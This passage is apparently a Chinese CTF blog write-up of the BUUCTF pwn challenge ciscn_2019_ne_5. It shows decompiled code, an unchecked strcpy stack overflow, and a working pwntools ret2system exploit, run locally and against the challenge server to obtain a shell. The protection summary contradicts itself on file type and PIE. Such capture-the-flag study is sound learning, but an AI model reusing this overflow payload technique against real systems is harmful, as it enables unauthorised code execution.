[buuctf]ciscn_2019_ne_5

30 篇文章 2 订阅

解析

PWN题ciscn_2019_ne_5,第一步,查询版本保护等信息,命令checksec filename,32位windows文件,开启保护有RELRO,Stack,NX,PIE。
在这里插入图片描述
保护都是什么意思:
1.Arch:编译的时候是多少位编译的。

2.RELRO:分为两种情况,第一种情况是Partial RELRO,这这情况是部分开启堆栈地址随机化,got表可写,第二种,Full RELRO是全部开启,got表不可写,Got表是全局偏移表,里面包含的是外部定义的符号相应的条目的数据段中,PLT表,是过程链接表/内部函数表,linux延迟绑定,但是最后还是要连接到Got,PLT表只是为一个过渡的作用。

3.Stack:这个保护其实就是在你调用的函数的时候,在栈帧中插入一个随机数,在函数执行完成返回之前,来校验随机数是否被改变,来判断是否被栈溢出,这个我们也俗称为canary(金丝雀),栈保护技术。

4.NX:为栈不可知性,也就是栈上的数据不可以当作代码区执行的作用。

5.PIE:PIE的中文叫做,地址无关可执行文件,是针对.text(代码段),.data(数据段),.bss(未初始化全局变量段)来做的保护,正常每一次加载程序,加载地址是固定的,但是PIE保护开启,每次程序启动的时候都会变换加载地址,不可能通过一些工具进行解题了。

根据图片我们可以知道,是32位elf文件,未开启金丝雀,开启栈内禁止执行,地址无关也未开启。

进入看到main函数,但是无法进行反编译,是一个地址跳转出现错误,并且爆出一地址是0x08048801,那么就先去找到这个地址所在的地方,反编译出来是一个scanf函数。

int __isoc99_scanf()
{
  return _isoc99_scanf();
}
之后在回到main函数中进行反编译,则可以获得到main函数的反编译。

代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // [esp+0h] [ebp-100h]
  char src[4]; // [esp+4h] [ebp-FCh]
  char v5; // [esp+8h] [ebp-F8h]
  char s1[4]; // [esp+84h] [ebp-7Ch]
  char v7; // [esp+88h] [ebp-78h]
  const char *v8; // [esp+E8h] [ebp-18h]
  int *v9; // [esp+ECh] [ebp-14h]
  int *v10; // [esp+F4h] [ebp-Ch]
  v10 = &argc;
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  fflush(stdout);
  *(_DWORD *)s1 = 48;
  memset(&v7, 0, 0x60u);
  *(_DWORD *)src = 48;
  memset(&v5, 0, 0x7Cu);
  puts("Welcome to use LFS.");
  printf("Please input admin password:");
  __isoc99_scanf();
  if ( strcmp(s1, "administrator") )
  {
    puts("Password Error!");
    exit(0);
  }
  puts("Welcome!");
  while ( 1 )
  {
    puts("Input your operation:");
    puts("1.Add a log.");
    puts("2.Display all logs.");
    puts("3.Print all logs.");
    printf("0.Exit\n:");
    v9 = &v3;
    v8 = "%d";
    __isoc99_scanf();
    switch ( v3 )
    {
      case 0:
        exit(0);
        return;
      case 1:
        AddLog(src);
        break;
      case 2:
        Display(src);
        break;
      case 3:
        Print();
        break;
      case 4:
        GetFlag(src);
        break;
      default:
        continue;
    }
  }
}

之后进行分析,在linux下运行一次,运行的时候会直接输出Welcome to use LFS.和Please input admin password:,根据反编译的第14行if ( strcmp(s1, “administrator”) )可以判断,密码输入的是administrator,之后进入了下面的第29行输出Welcome!,之后输出四个选项,下面还会继续让你输入值,在第反编译第39行,分析如下,如果输入0,那么则会退出返回0,输入1进入AddLog函数,会输出Please input new log info:之后继续进行一个输入实际你第二次在Please input new log info:输入的值,是没有任何作用的。

AddLog的代码如下:
int AddLog()
{
  printf("Please input new log info:");
  return __isoc99_scanf();
}

如果输入2,则会进入Display函数这里是会返回一个值,是一个整数。

int __cdecl Display(char *s)
{
  return puts(s);
}

如果输入3,则进入Print()函数,这个函数有一个敏感的system,可以用来使用,所以我们现在目前缺的,就是一个/bin/sh的一个参数。

int Print()
{
  return system("echo Printing......");
}

输入4进入函数GetFlag,发现一个漏洞函数strcpy,根据strcpy是这么描述,可以接收无限量大的字符,直到遇到\x00但是在这个GetFlag里面没有任何对于我输入的字符进行校验和长度校验,所以出现了一个漏洞。

攻击思路:首先要进入到选项里面,所以第一个要先看到Please input admin password:之后输入administrator,之后要写入所以我们写入在1中写入,之后利用4去输出,所以输入1,看到Please input new log info:写入payload,之后在输入4,让他输出(执行payload),思路有了,system有了,找一下/bin/sh,但是找不到/bin/sh,但是找到了sh也是可以的。

编写脚本:先看栈,strcpy(dest, src);其中的变量是dest在栈里申请的空间是0x48,之后距离ret有0x04的距离,所以,需要覆盖的空间是0x48+0x04 之后system的地址是0x080484D0,sh的地址是0x080482ea,在这两个中间需要四个字节填充,shellcode形成,所以脚本也形成,在本地打一下,成功获取到自己的shell。
在这里插入图片描述

from pwn import *
p = process('./ciscn_2019_ne_5')
context(os = 'linux',arch = 'i386',log_level = 'debug')#系统linux,i386,debug的方式
p.sendlineafter('Please input admin password:','administrator')#运行之后,写入administrator
payload = b'c'*(0x48+0x04) + p32(0x080484D0) + b'aaaa' + p32(0x080482Ea) #溢出+覆盖返回地址+system的地址+ 填充 + sh的地址
p.sendlineafter(':','1')
p.sendlineafter('Please input new log info:',payload)
p.sendlineafter(':','4')
p.interactive()
之后打远程
只需要把p = process('./ciscn_2019_ne_5')
换成p = remote(ip(域名),端口)即可。

from pwn import *
#p = process('./ciscn_2019_ne_5')
p = remote('node4.buuoj.cn',27497)
context(os = 'linux',arch = 'i386',log_level = 'debug')
p.sendlineafter('Please input admin password:','administrator')
payload = b'c'*(0x48+0x04) + p32(0x080484D0) + b'aaaa' + p32(0x080482Ea) #溢出+覆盖返回地址+system的地址+ 填充 + sh的地址
p.sendlineafter(':','1')
p.sendlineafter('Please input new log info:',payload)
p.sendlineafter(':','4')
p.interactive()
运行之后直接执行cat flag,获取到flag。

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值